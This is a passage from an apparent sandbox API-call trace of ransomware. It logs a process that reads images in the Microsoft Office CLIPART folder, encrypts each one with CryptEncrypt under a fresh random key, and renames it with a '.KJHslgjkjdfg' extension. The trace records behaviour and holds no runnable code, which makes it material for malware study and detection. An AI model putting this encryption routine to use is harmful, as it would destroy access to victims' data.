ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x211bb, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x211bb, lpOverlapped=0x0) returned 1 [0207.824] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x211c0, dwBufLen=0x211c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x211c0) returned 1 [0207.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.826] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x211c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x211c0, lpOverlapped=0x0) returned 1 [0207.826] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.826] SetEndOfFile (hFile=0x130) returned 1 [0207.829] GetProcessHeap () returned 0x990000 [0207.829] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.829] GetProcessHeap () returned 0x990000 [0207.829] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.829] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg.kjhslgjkjdfg")) returned 1 [0207.831] CloseHandle (hObject=0x130) returned 1 [0207.831] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4a3a00, ftCreationTime.dwHighDateTime=0x1bd50ad, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd4a3a00, ftLastWriteTime.dwHighDateTime=0x1bd50ad, nFileSizeHigh=0x0, nFileSizeLow=0xa202, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01179J.JPG", cAlternateFileName="")) returned 1 [0207.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.832] GetProcessHeap () returned 0x990000 [0207.832] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.832] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.832] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.832] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0207.835] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.835] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.835] GetProcessHeap () returned 0x990000 [0207.835] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.835] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.835] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.835] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.835] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.835] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.835] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.836] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.836] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.836] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.836] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.836] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa202, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa202, lpOverlapped=0x0) returned 1 [0207.837] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa210, dwBufLen=0xa210 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa210) returned 1 [0207.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.838] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa210, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa210, lpOverlapped=0x0) returned 1 [0207.838] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.838] SetEndOfFile (hFile=0x130) returned 1 [0207.841] GetProcessHeap () returned 0x990000 [0207.842] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.842] GetProcessHeap () returned 0x990000 [0207.842] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.842] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg.kjhslgjkjdfg")) returned 1 [0207.843] CloseHandle (hObject=0x130) returned 1 [0207.844] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01213K.JPG", cAlternateFileName="")) returned 1 [0207.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.845] GetProcessHeap () returned 0x990000 [0207.845] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.845] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.845] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.845] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0207.847] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.847] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.847] GetProcessHeap () returned 0x990000 [0207.847] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.848] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.848] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.848] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.848] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.848] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.848] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.848] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.848] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.848] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.848] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x18be, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x18be, lpOverlapped=0x0) returned 1 [0207.849] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x18c0, dwBufLen=0x18c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x18c0) returned 1 [0207.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.849] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x18c0, lpOverlapped=0x0) returned 1 [0207.850] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.850] SetEndOfFile (hFile=0x130) returned 1 [0207.852] GetProcessHeap () returned 0x990000 [0207.852] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.852] GetProcessHeap () returned 0x990000 [0207.852] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg.kjhslgjkjdfg")) returned 1 [0207.856] CloseHandle (hObject=0x130) returned 1 [0207.856] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01221K.JPG", cAlternateFileName="")) returned 1 [0207.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.857] GetProcessHeap () returned 0x990000 [0207.857] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.857] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.858] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0207.860] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.860] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.860] GetProcessHeap () returned 0x990000 [0207.860] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.860] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.860] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.860] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.860] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.860] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.860] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.860] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.860] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.860] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.860] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1c94, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1c94, lpOverlapped=0x0) returned 1 [0207.861] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ca0, dwBufLen=0x1ca0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ca0) returned 1 [0207.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.861] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ca0, lpOverlapped=0x0) returned 1 [0207.861] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.862] SetEndOfFile (hFile=0x130) returned 1 [0207.864] GetProcessHeap () returned 0x990000 [0207.864] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.864] GetProcessHeap () returned 0x990000 [0207.864] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg.kjhslgjkjdfg")) returned 1 [0207.865] CloseHandle (hObject=0x130) returned 1 [0207.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37b36e00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37b36e00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01235U.BMP", cAlternateFileName="")) returned 1 [0207.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.866] GetProcessHeap () returned 0x990000 [0207.866] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.866] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.867] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.869] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.869] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.869] GetProcessHeap () returned 0x990000 [0207.869] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.869] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.869] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.869] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.869] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.870] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.870] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.870] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.870] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.870] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.870] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7db8, lpOverlapped=0x0) returned 1 [0207.871] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0) returned 1 [0207.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.871] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7dc0, lpOverlapped=0x0) returned 1 [0207.872] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.872] SetEndOfFile (hFile=0x130) returned 1 [0207.874] GetProcessHeap () returned 0x990000 [0207.874] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.874] GetProcessHeap () returned 0x990000 [0207.874] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.874] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 